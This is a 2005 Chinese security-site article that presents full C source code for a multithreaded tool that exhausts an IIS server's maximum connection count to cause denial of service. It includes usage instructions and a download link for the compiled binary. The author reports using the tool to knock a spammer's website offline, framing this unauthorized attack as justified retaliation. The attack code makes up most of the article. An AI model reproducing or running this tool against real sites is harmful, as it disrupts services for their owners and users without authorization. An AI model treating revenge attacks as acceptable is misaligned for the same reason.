通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
以小搏大——利用IIS最大连接数实现网站DOS
责任编辑:古典辣M°   更新日期:2005-12-14
 
声明:本程序仅做为技术交流之用,勿用于非法用途!)
        最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
        这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
        具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:
 
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
 
int ThreadCount=0;
 
struct mydata
{
  char *ip;
  int  port;
};
 
 
unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;
 
    if((ip=inet_addr(name))==(-1))
    {
        if((he=gethostbyname(name))==0)
            return 0;
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam )
{
  mydata *csdn = (mydata*)lpParam;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(csdn->port);
   server.sin_addr.s_addr = resolve((char*)csdn->ip);
      if(server.sin_addr.s_addr==0)
    {
       
         printf("Don't find  address %s\n",(char*)csdn->ip);
        exit(0);
    }
  int my;
  char buf[100]="POST / HTTP/1.1\r\nHost: ";
  strcat(buf,(char*)csdn->ip);
  strcat(buf," \r\nContent-Length: 10\r\n\r\n");
    my=socket(PF_INET,SOCK_STREAM,0);
  if(my==INVALID_SOCKET)
    {
         printf("ERROR");
         exit(0);
    }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
    {
         printf("Socket ERROR:%d",GetLastError());
        exit(0);
    }
  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
  ThreadCount--;
    return 0;
}
 
void thread ( char *a1 , char *a2 , char *a3 )
{
  static mydata tmp;
  tmp.ip = a1;
  tmp.port = atoi(a2);
 
  DWORD dwThreadId;
    HANDLE hThread;
  WSADATA ws;
   if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
   {
                printf(" [-] WSAStartup() error\n");
                exit(0);
   }
    hThread = CreateThread(
        NULL,                        // no security attributes
        0,                           // use default stack size 
        Dos,                  // thread function
        &tmp,                // argument to thread function
        0,                           // use default creation flags
        &dwThreadId);                // returns the thread identifier
   if (hThread == NULL)
     printf( "CreateThread failed." );
  ThreadCount++;
  Sleep(200);     //延时,否则CPU会用满……
   CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
  int i=0;
  if(argc!=4)
  {
         printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
         printf("-Usage:\n");
         printf("%s \n",argv[0]);
         printf("-Example: %s www.target.com 80 300\n",argv[0]);
         return 0;
  }
  printf("Starting DOS.............Ctrl + C break\n");
  while( i < atoi(argv[3]) )
  {
         if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
  }
  while( 1 ){      }
  WSACleanup();
  return 0;
}
 
 
        (VS.net 、XP SP1调试通过。编译好的程序可以在这里找到:http://www.0x54.org/lake2/program/IISDos.exe
        程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。
测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^




        既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。
        好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了(图),嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。




        这只是个测试程序,真正要投入到应用还得再完善完善。再说废话一句,要是跟别人没有国仇家恨的话还是不要DOS的好。


  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题